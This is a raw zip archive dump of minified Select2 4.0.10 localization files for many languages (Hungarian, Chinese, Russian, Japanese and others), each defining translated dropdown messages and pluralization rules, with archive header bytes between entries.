!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/hu",[],function(){return{errorLoading:function(){return"Az eredmények betöltése nem sikerült."},inputTooLong:function(e){return"Túl hosszú. "+(e.input.length-e.maximum)+" karakterrel több, mint kellene."},inputTooShort:function(e){return"Túl rövid. Még "+(e.minimum-e.input.length)+" karakter hiányzik."},loadingMore:function(){return"Töltés…"},maximumSelected:function(e){return"Csak "+e.maximum+" elemet lehet kiválasztani."},noResults:function(){return"Nincs találat."},searching:function(){return"Keresés…"},removeAllItems:function(){return"Távolítson el minden elemet"}}}),e.define,e.require}();PK     0w\׆u    /  dashboard/lib/meta-box/js/select2/i18n/zh-TW.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/zh-TW",[],function(){return{inputTooLong:function(n){return"請刪掉"+(n.input.length-n.maximum)+"個字元"},inputTooShort:function(n){return"請再輸入"+(n.minimum-n.input.length)+"個字元"},loadingMore:function(){return"載入中…"},maximumSelected:function(n){return"你只能選擇最多"+n.maximum+"項"},noResults:function(){return"沒有找到相符的項目"},searching:function(){return"搜尋中…"},removeAllItems:function(){return"刪除所有項目"}}}),n.define,n.require}();PK     0w\|      /  dashboard/lib/meta-box/js/select2/i18n/zh-CN.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/zh-CN",[],function(){return{errorLoading:function(){return"无法载入结果。"},inputTooLong:function(n){return"请删除"+(n.input.length-n.maximum)+"个字符"},inputTooShort:function(n){return"请再输入至少"+(n.minimum-n.input.length)+"个字符"},loadingMore:function(){return"载入更多结果…"},maximumSelected:function(n){return"最多只能选择"+n.maximum+"个项目"},noResults:function(){return"未找到结果"},searching:function(){return"搜索中…"},removeAllItems:function(){return"删除所有项目"}}}),n.define,n.require}();PK     0w\('  '  ,  dashboard/lib/meta-box/js/select2/i18n/is.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/is",[],function(){return{inputTooLong:function(n){var t=n.input.length-n.maximum,e="Vinsamlegast styttið texta um "+t+" staf";return t<=1?e:e+"i"},inputTooShort:function(n){var t=n.minimum-n.input.length,e="Vinsamlegast skrifið "+t+" staf";return t>1&&(e+="i"),e+=" í viðbót"},loadingMore:function(){return"Sæki fleiri niðurstöður…"},maximumSelected:function(n){return"Þú getur aðeins valið "+n.maximum+" atriði"},noResults:function(){return"Ekkert fannst"},searching:function(){return"Leita…"},removeAllItems:function(){return"Fjarlægðu öll atriði"}}}),n.define,n.require}();PK     0w\#  #  ,  dashboard/lib/meta-box/js/select2/i18n/fi.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/fi",[],function(){return{errorLoading:function(){return"Tuloksia ei saatu ladattua."},inputTooLong:function(n){return"Ole hyvä ja anna "+(n.input.length-n.maximum)+" merkkiä vähemmän"},inputTooShort:function(n){return"Ole hyvä ja anna "+(n.minimum-n.input.length)+" merkkiä lisää"},loadingMore:function(){return"Ladataan lisää tuloksia…"},maximumSelected:function(n){return"Voit valita ainoastaan "+n.maximum+" kpl"},noResults:function(){return"Ei tuloksia"},searching:function(){return"Haetaan…"},removeAllItems:function(){return"Poista kaikki kohteet"}}}),n.define,n.require}();PK     0w\}N05    ,  dashboard/lib/meta-box/js/select2/i18n/lt.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/lt",[],function(){function n(n,e,i,t){return n%10==1&&(n%100<11||n%100>19)?e:n%10>=2&&n%10<=9&&(n%100<11||n%100>19)?i:t}return{inputTooLong:function(e){var i=e.input.length-e.maximum,t="Pašalinkite "+i+" simbol";return t+=n(i,"į","ius","ių")},inputTooShort:function(e){var i=e.minimum-e.input.length,t="Įrašykite dar "+i+" simbol";return t+=n(i,"į","ius","ių")},loadingMore:function(){return"Kraunama daugiau rezultatų…"},maximumSelected:function(e){var i="Jūs galite pasirinkti tik "+e.maximum+" element";return i+=n(e.maximum,"ą","us","ų")},noResults:function(){return"Atitikmenų nerasta"},searching:function(){return"Ieškoma…"},removeAllItems:function(){return"Pašalinti visus elementus"}}}),n.define,n.require}();PK     0w\ܓ    ,  dashboard/lib/meta-box/js/select2/i18n/sv.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/sv",[],function(){return{errorLoading:function(){return"Resultat kunde inte laddas."},inputTooLong:function(n){return"Vänligen sudda ut "+(n.input.length-n.maximum)+" tecken"},inputTooShort:function(n){return"Vänligen skriv in "+(n.minimum-n.input.length)+" eller fler tecken"},loadingMore:function(){return"Laddar fler resultat…"},maximumSelected:function(n){return"Du kan max välja "+n.maximum+" element"},noResults:function(){return"Inga träffar"},searching:function(){return"Söker…"},removeAllItems:function(){return"Ta bort alla objekt"}}}),n.define,n.require}();PK     0w\|G    ,  dashboard/lib/meta-box/js/select2/i18n/sr.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/sr",[],function(){function n(n,e,r,t){return n%10==1&&n%100!=11?e:n%10>=2&&n%10<=4&&(n%100<12||n%100>14)?r:t}return{errorLoading:function(){return"Preuzimanje nije uspelo."},inputTooLong:function(e){var r=e.input.length-e.maximum,t="Obrišite "+r+" simbol";return t+=n(r,"","a","a")},inputTooShort:function(e){var r=e.minimum-e.input.length,t="Ukucajte bar još "+r+" simbol";return t+=n(r,"","a","a")},loadingMore:function(){return"Preuzimanje još rezultata…"},maximumSelected:function(e){var r="Možete izabrati samo "+e.maximum+" stavk";return r+=n(e.maximum,"u","e","i")},noResults:function(){return"Ništa nije pronađeno"},searching:function(){return"Pretraga…"},removeAllItems:function(){return"Уклоните све ставке"}}}),n.define,n.require}();PK     0w\X    ,  dashboard/lib/meta-box/js/select2/i18n/ps.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/ps",[],function(){return{errorLoading:function(){return"پايلي نه سي ترلاسه کېدای"},inputTooLong:function(n){var e=n.input.length-n.maximum,r="د مهربانۍ لمخي "+e+" توری ړنګ کړئ";return 1!=e&&(r=r.replace("توری","توري")),r},inputTooShort:function(n){return"لږ تر لږه "+(n.minimum-n.input.length)+" يا ډېر توري وليکئ"},loadingMore:function(){return"نوري پايلي ترلاسه کيږي..."},maximumSelected:function(n){var e="تاسو يوازي "+n.maximum+" قلم په نښه کولای سی";return 1!=n.maximum&&(e=e.replace("قلم","قلمونه")),e},noResults:function(){return"پايلي و نه موندل سوې"},searching:function(){return"لټول کيږي..."},removeAllItems:function(){return"ټول توکي لرې کړئ"}}}),n.define,n.require}();PK     0w\LEN    ,  dashboard/lib/meta-box/js/select2/i18n/az.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/az",[],function(){return{inputTooLong:function(n){return n.input.length-n.maximum+" simvol silin"},inputTooShort:function(n){return n.minimum-n.input.length+" simvol daxil edin"},loadingMore:function(){return"Daha çox nəticə yüklənir…"},maximumSelected:function(n){return"Sadəcə "+n.maximum+" element seçə bilərsiniz"},noResults:function(){return"Nəticə tapılmadı"},searching:function(){return"Axtarılır…"},removeAllItems:function(){return"Bütün elementləri sil"}}}),n.define,n.require}();PK     0w\9T  T  ,  dashboard/lib/meta-box/js/select2/i18n/hr.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/hr",[],function(){function n(n){var e=" "+n+" znak";return n%10<5&&n%10>0&&(n%100<5||n%100>19)?n%10>1&&(e+="a"):e+="ova",e}return{errorLoading:function(){return"Preuzimanje nije uspjelo."},inputTooLong:function(e){return"Unesite "+n(e.input.length-e.maximum)},inputTooShort:function(e){return"Unesite još "+n(e.minimum-e.input.length)},loadingMore:function(){return"Učitavanje rezultata…"},maximumSelected:function(n){return"Maksimalan broj odabranih stavki je "+n.maximum},noResults:function(){return"Nema rezultata"},searching:function(){return"Pretraga…"},removeAllItems:function(){return"Ukloni sve stavke"}}}),n.define,n.require}();PK     0w\<+&L  L  ,  dashboard/lib/meta-box/js/select2/i18n/en.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/en",[],function(){return{errorLoading:function(){return"The results could not be loaded."},inputTooLong:function(e){var n=e.input.length-e.maximum,r="Please delete "+n+" character";return 1!=n&&(r+="s"),r},inputTooShort:function(e){return"Please enter "+(e.minimum-e.input.length)+" or more characters"},loadingMore:function(){return"Loading more results…"},maximumSelected:function(e){var n="You can only select "+e.maximum+" item";return 1!=e.maximum&&(n+="s"),n},noResults:function(){return"No results found"},searching:function(){return"Searching…"},removeAllItems:function(){return"Remove all items"}}}),e.define,e.require}();PK     0w\HE
$    ,  dashboard/lib/meta-box/js/select2/i18n/vi.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/vi",[],function(){return{inputTooLong:function(n){return"Vui lòng xóa bớt "+(n.input.length-n.maximum)+" ký tự"},inputTooShort:function(n){return"Vui lòng nhập thêm từ "+(n.minimum-n.input.length)+" ký tự trở lên"},loadingMore:function(){return"Đang lấy thêm kết quả…"},maximumSelected:function(n){return"Chỉ có thể chọn được "+n.maximum+" lựa chọn"},noResults:function(){return"Không tìm thấy kết quả"},searching:function(){return"Đang tìm…"},removeAllItems:function(){return"Xóa tất cả các mục"}}}),n.define,n.require}();PK     0w\<U;    ,  dashboard/lib/meta-box/js/select2/i18n/tk.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/tk",[],function(){return{errorLoading:function(){return"Netije ýüklenmedi."},inputTooLong:function(e){return e.input.length-e.maximum+" harp bozuň."},inputTooShort:function(e){return"Ýene-de iň az "+(e.minimum-e.input.length)+" harp ýazyň."},loadingMore:function(){return"Köpräk netije görkezilýär…"},maximumSelected:function(e){return"Diňe "+e.maximum+" sanysyny saýlaň."},noResults:function(){return"Netije tapylmady."},searching:function(){return"Gözlenýär…"},removeAllItems:function(){return"Remove all items"}}}),e.define,e.require}();PK     0w\    ,  dashboard/lib/meta-box/js/select2/i18n/bs.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/bs",[],function(){function e(e,n,r,t){return e%10==1&&e%100!=11?n:e%10>=2&&e%10<=4&&(e%100<12||e%100>14)?r:t}return{errorLoading:function(){return"Preuzimanje nije uspijelo."},inputTooLong:function(n){var r=n.input.length-n.maximum,t="Obrišite "+r+" simbol";return t+=e(r,"","a","a")},inputTooShort:function(n){var r=n.minimum-n.input.length,t="Ukucajte bar još "+r+" simbol";return t+=e(r,"","a","a")},loadingMore:function(){return"Preuzimanje još rezultata…"},maximumSelected:function(n){var r="Možete izabrati samo "+n.maximum+" stavk";return r+=e(n.maximum,"u","e","i")},noResults:function(){return"Ništa nije pronađeno"},searching:function(){return"Pretraga…"},removeAllItems:function(){return"Uklonite sve stavke"}}}),e.define,e.require}();PK     0w\?M  M  ,  dashboard/lib/meta-box/js/select2/i18n/ne.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/ne",[],function(){return{errorLoading:function(){return"नतिजाहरु देखाउन सकिएन।"},inputTooLong:function(n){var e=n.input.length-n.maximum,u="कृपया "+e+" अक्षर मेटाउनुहोस्।";return 1!=e&&(u+="कृपया "+e+" अक्षरहरु मेटाउनुहोस्।"),u},inputTooShort:function(n){return"कृपया बाँकी रहेका "+(n.minimum-n.input.length)+" वा अरु धेरै अक्षरहरु भर्नुहोस्।"},loadingMore:function(){return"अरु नतिजाहरु भरिँदैछन् …"},maximumSelected:function(n){var e="तँपाई "+n.maximum+" वस्तु मात्र छान्न पाउँनुहुन्छ।";return 1!=n.maximum&&(e="तँपाई "+n.maximum+" वस्तुहरु मात्र छान्न पाउँनुहुन्छ।"),e},noResults:function(){return"कुनै पनि नतिजा भेटिएन।"},searching:function(){return"खोजि हुँदैछ…"}}}),n.define,n.require}();PK     0w\cU  U  1  dashboard/lib/meta-box/js/select2/i18n/sr-Cyrl.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/sr-Cyrl",[],function(){function n(n,e,r,u){return n%10==1&&n%100!=11?e:n%10>=2&&n%10<=4&&(n%100<12||n%100>14)?r:u}return{errorLoading:function(){return"Преузимање није успело."},inputTooLong:function(e){var r=e.input.length-e.maximum,u="Обришите "+r+" симбол";return u+=n(r,"","а","а")},inputTooShort:function(e){var r=e.minimum-e.input.length,u="Укуцајте бар још "+r+" симбол";return u+=n(r,"","а","а")},loadingMore:function(){return"Преузимање још резултата…"},maximumSelected:function(e){var r="Можете изабрати само "+e.maximum+" ставк";return r+=n(e.maximum,"у","е","и")},noResults:function(){return"Ништа није пронађено"},searching:function(){return"Претрага…"},removeAllItems:function(){return"Уклоните све ставке"}}}),n.define,n.require}();PK     0w\L+  +  ,  dashboard/lib/meta-box/js/select2/i18n/ms.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/ms",[],function(){return{errorLoading:function(){return"Keputusan tidak berjaya dimuatkan."},inputTooLong:function(n){return"Sila hapuskan "+(n.input.length-n.maximum)+" aksara"},inputTooShort:function(n){return"Sila masukkan "+(n.minimum-n.input.length)+" atau lebih aksara"},loadingMore:function(){return"Sedang memuatkan keputusan…"},maximumSelected:function(n){return"Anda hanya boleh memilih "+n.maximum+" pilihan"},noResults:function(){return"Tiada padanan yang ditemui"},searching:function(){return"Mencari…"},removeAllItems:function(){return"Keluarkan semua item"}}}),n.define,n.require}();PK     0w\n    ,  dashboard/lib/meta-box/js/select2/i18n/hy.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/hy",[],function(){return{errorLoading:function(){return"Արդյունքները հնարավոր չէ բեռնել։"},inputTooLong:function(n){return"Խնդրում ենք հեռացնել "+(n.input.length-n.maximum)+" նշան"},inputTooShort:function(n){return"Խնդրում ենք մուտքագրել "+(n.minimum-n.input.length)+" կամ ավել նշաններ"},loadingMore:function(){return"Բեռնվում են նոր արդյունքներ․․․"},maximumSelected:function(n){return"Դուք կարող եք ընտրել առավելագույնը "+n.maximum+" կետ"},noResults:function(){return"Արդյունքներ չեն գտնվել"},searching:function(){return"Որոնում․․․"},removeAllItems:function(){return"Հեռացնել բոլոր տարրերը"}}}),n.define,n.require}();PK     0w\    ,  dashboard/lib/meta-box/js/select2/i18n/el.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/el",[],function(){return{errorLoading:function(){return"Τα αποτελέσματα δεν μπόρεσαν να φορτώσουν."},inputTooLong:function(n){var e=n.input.length-n.maximum,u="Παρακαλώ διαγράψτε "+e+" χαρακτήρ";return 1==e&&(u+="α"),1!=e&&(u+="ες"),u},inputTooShort:function(n){return"Παρακαλώ συμπληρώστε "+(n.minimum-n.input.length)+" ή περισσότερους χαρακτήρες"},loadingMore:function(){return"Φόρτωση περισσότερων αποτελεσμάτων…"},maximumSelected:function(n){var e="Μπορείτε να επιλέξετε μόνο "+n.maximum+" επιλογ";return 1==n.maximum&&(e+="ή"),1!=n.maximum&&(e+="ές"),e},noResults:function(){return"Δεν βρέθηκαν αποτελέσματα"},searching:function(){return"Αναζήτηση…"},removeAllItems:function(){return"Καταργήστε όλα τα στοιχεία"}}}),n.define,n.require}();PK     0w\rXm    ,  dashboard/lib/meta-box/js/select2/i18n/nl.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/nl",[],function(){return{errorLoading:function(){return"De resultaten konden niet worden geladen."},inputTooLong:function(e){return"Gelieve "+(e.input.length-e.maximum)+" karakters te verwijderen"},inputTooShort:function(e){return"Gelieve "+(e.minimum-e.input.length)+" of meer karakters in te voeren"},loadingMore:function(){return"Meer resultaten laden…"},maximumSelected:function(e){var n=1==e.maximum?"kan":"kunnen",r="Er "+n+" maar "+e.maximum+" item";return 1!=e.maximum&&(r+="s"),r+=" worden geselecteerd"},noResults:function(){return"Geen resultaten gevonden…"},searching:function(){return"Zoeken…"},removeAllItems:function(){return"Verwijder alle items"}}}),e.define,e.require}();PK     0w\)zܰ    ,  dashboard/lib/meta-box/js/select2/i18n/pl.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/pl",[],function(){var n=["znak","znaki","znaków"],e=["element","elementy","elementów"],r=function(n,e){return 1===n?e[0]:n>1&&n<=4?e[1]:n>=5?e[2]:void 0};return{errorLoading:function(){return"Nie można załadować wyników."},inputTooLong:function(e){var t=e.input.length-e.maximum;return"Usuń "+t+" "+r(t,n)},inputTooShort:function(e){var t=e.minimum-e.input.length;return"Podaj przynajmniej "+t+" "+r(t,n)},loadingMore:function(){return"Trwa ładowanie…"},maximumSelected:function(n){return"Możesz zaznaczyć tylko "+n.maximum+" "+r(n.maximum,e)},noResults:function(){return"Brak wyników"},searching:function(){return"Trwa wyszukiwanie…"},removeAllItems:function(){return"Usuń wszystkie przedmioty"}}}),n.define,n.require}();PK     0w\!l  l  /  dashboard/lib/meta-box/js/select2/i18n/pt-BR.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/pt-BR",[],function(){return{errorLoading:function(){return"Os resultados não puderam ser carregados."},inputTooLong:function(e){var n=e.input.length-e.maximum,r="Apague "+n+" caracter";return 1!=n&&(r+="es"),r},inputTooShort:function(e){return"Digite "+(e.minimum-e.input.length)+" ou mais caracteres"},loadingMore:function(){return"Carregando mais resultados…"},maximumSelected:function(e){var n="Você só pode selecionar "+e.maximum+" ite";return 1==e.maximum?n+="m":n+="ns",n},noResults:function(){return"Nenhum resultado encontrado"},searching:function(){return"Buscando…"},removeAllItems:function(){return"Remover todos os itens"}}}),e.define,e.require}();PK     0w\,b  b  ,  dashboard/lib/meta-box/js/select2/i18n/af.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/af",[],function(){return{errorLoading:function(){return"Die resultate kon nie gelaai word nie."},inputTooLong:function(e){var n=e.input.length-e.maximum,r="Verwyders asseblief "+n+" character";return 1!=n&&(r+="s"),r},inputTooShort:function(e){return"Voer asseblief "+(e.minimum-e.input.length)+" of meer karakters"},loadingMore:function(){return"Meer resultate word gelaai…"},maximumSelected:function(e){var n="Kies asseblief net "+e.maximum+" item";return 1!=e.maximum&&(n+="s"),n},noResults:function(){return"Geen resultate gevind"},searching:function(){return"Besig…"},removeAllItems:function(){return"Verwyder alle items"}}}),e.define,e.require}();PK     0w\^  ^  ,  dashboard/lib/meta-box/js/select2/i18n/ja.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/ja",[],function(){return{errorLoading:function(){return"結果が読み込まれませんでした"},inputTooLong:function(n){return n.input.length-n.maximum+" 文字を削除してください"},inputTooShort:function(n){return"少なくとも "+(n.minimum-n.input.length)+" 文字を入力してください"},loadingMore:function(){return"読み込み中…"},maximumSelected:function(n){return n.maximum+" 件しか選択できません"},noResults:function(){return"対象が見つかりません"},searching:function(){return"検索しています…"},removeAllItems:function(){return"すべてのアイテムを削除"}}}),n.define,n.require}();PK     0w\n3    ,  dashboard/lib/meta-box/js/select2/i18n/ru.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/ru",[],function(){function n(n,e,r,u){return n%10<5&&n%10>0&&n%100<5||n%100>20?n%10>1?r:e:u}return{errorLoading:function(){return"Невозможно загрузить результаты"},inputTooLong:function(e){var r=e.input.length-e.maximum,u="Пожалуйста, введите на "+r+" символ";return u+=n(r,"","a","ов"),u+=" меньше"},inputTooShort:function(e){var r=e.minimum-e.input.length,u="Пожалуйста, введите ещё хотя бы "+r+" символ";return u+=n(r,"","a","ов")},loadingMore:function(){return"Загрузка данных…"},maximumSelected:function(e){var r="Вы можете выбрать не более "+e.maximum+" элемент";return r+=n(e.maximum,"","a","ов")},noResults:function(){return"Совпадений не найдено"},searching:function(){return"Поиск…"},removeAllItems:function(){return"Удалить все элементы"}}}),n.define,n.require}();PK     0w\%ʻ    ,  dashboard/lib/meta-box/js/select2/i18n/lv.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/lv",[],function(){function e(e,n,u,i){return 11===e?n:e%10==1?u:i}return{inputTooLong:function(n){var u=n.input.length-n.maximum,i="Lūdzu ievadiet par  "+u;return(i+=" simbol"+e(u,"iem","u","iem"))+" mazāk"},inputTooShort:function(n){var u=n.minimum-n.input.length,i="Lūdzu ievadiet vēl "+u;return i+=" simbol"+e(u,"us","u","us")},loadingMore:function(){return"Datu ielāde…"},maximumSelected:function(n){var u="Jūs varat izvēlēties ne vairāk kā "+n.maximum;return u+=" element"+e(n.maximum,"us","u","us")},noResults:function(){return"Sakritību nav"},searching:function(){return"Meklēšana…"},removeAllItems:function(){return"Noņemt visus vienumus"}}}),e.define,e.require}();PK     0w\ͱ    ,  dashboard/lib/meta-box/js/select2/i18n/gl.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/gl",[],function(){return{errorLoading:function(){return"Non foi posíbel cargar os resultados."},inputTooLong:function(e){var n=e.input.length-e.maximum;return 1===n?"Elimine un carácter":"Elimine "+n+" caracteres"},inputTooShort:function(e){var n=e.minimum-e.input.length;return 1===n?"Engada un carácter":"Engada "+n+" caracteres"},loadingMore:function(){return"Cargando máis resultados…"},maximumSelected:function(e){return 1===e.maximum?"Só pode seleccionar un elemento":"Só pode seleccionar "+e.maximum+" elementos"},noResults:function(){return"Non se atoparon resultados"},searching:function(){return"Buscando…"},removeAllItems:function(){return"Elimina todos os elementos"}}}),e.define,e.require}();PK     0w\/Hkd  d  ,  dashboard/lib/meta-box/js/select2/i18n/eu.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/eu",[],function(){return{inputTooLong:function(e){var t=e.input.length-e.maximum,n="Idatzi ";return n+=1==t?"karaktere bat":t+" karaktere",n+=" gutxiago"},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Idatzi ";return n+=1==t?"karaktere bat":t+" karaktere",n+=" gehiago"},loadingMore:function(){return"Emaitza gehiago kargatzen…"},maximumSelected:function(e){return 1===e.maximum?"Elementu bakarra hauta dezakezu":e.maximum+" elementu hauta ditzakezu soilik"},noResults:function(){return"Ez da bat datorrenik aurkitu"},searching:function(){return"Bilatzen…"},removeAllItems:function(){return"Kendu elementu guztiak"}}}),e.define,e.require}();PK     0w\W    ,  dashboard/lib/meta-box/js/select2/i18n/mk.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/mk",[],function(){return{inputTooLong:function(n){var e=(n.input.length,n.maximum,"Ве молиме внесете "+n.maximum+" помалку карактер");return 1!==n.maximum&&(e+="и"),e},inputTooShort:function(n){var e=(n.minimum,n.input.length,"Ве молиме внесете уште "+n.maximum+" карактер");return 1!==n.maximum&&(e+="и"),e},loadingMore:function(){return"Вчитување резултати…"},maximumSelected:function(n){var e="Можете да изберете само "+n.maximum+" ставк";return 1===n.maximum?e+="а":e+="и",e},noResults:function(){return"Нема пронајдено совпаѓања"},searching:function(){return"Пребарување…"},removeAllItems:function(){return"Отстрани ги сите предмети"}}}),n.define,n.require}();PK     0w\@  @  ,  dashboard/lib/meta-box/js/select2/i18n/km.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var n=jQuery.fn.select2.amd;n.define("select2/i18n/km",[],function(){return{errorLoading:function(){return"មិនអាចទាញយកទិន្នន័យ"},inputTooLong:function(n){return"សូមលុបចេញ  "+(n.input.length-n.maximum)+" អក្សរ"},inputTooShort:function(n){return"សូមបញ្ចូល"+(n.minimum-n.input.length)+" អក្សរ រឺ ច្រើនជាងនេះ"},loadingMore:function(){return"កំពុងទាញយកទិន្នន័យបន្ថែម..."},maximumSelected:function(n){return"អ្នកអាចជ្រើសរើសបានតែ "+n.maximum+" ជម្រើសប៉ុណ្ណោះ"},noResults:function(){return"មិនមានលទ្ធផល"},searching:function(){return"កំពុងស្វែងរក..."},removeAllItems:function(){return"លុបធាតុទាំងអស់"}}}),n.define,n.require}();PK     0w\h֒!  !  ,  dashboard/lib/meta-box/js/select2/i18n/et.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

!function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;e.define("select2/i18n/et",[],function(){return{inputTooLong:function(e){var n=e.input.length-e.maximum,t="Sisesta "+n+" täht";return 1!=n&&(t+="e"),t+=" vähem"},inputTooShort:function(e){var n=e.minimum-e.input.length,t="Sisesta "+n+" täht";return 1!=n&&(t+="e"),t+=" rohkem"},loadingMore:function(){return"Laen tulemusi…"},maximumSelected:function(e){var n="Saad vaid "+e.maximum+" tulemus";return 1==e.maximum?n+="e":n+="t",n+=" valida"},noResults:function(){return"Tulemused puuduvad"},searching:function(){return"Otsin…"},removeAllItems:function(){return"Eemalda kõik esemed"}}}),e.define,e.require}();PK     0w\     ,  dashboard/lib/meta-box/js/select2/i18n/fa.jsnu [        /*! Select2 4.0.10 | https://github.com/select2/select2/blob/master/LICENSE.md */

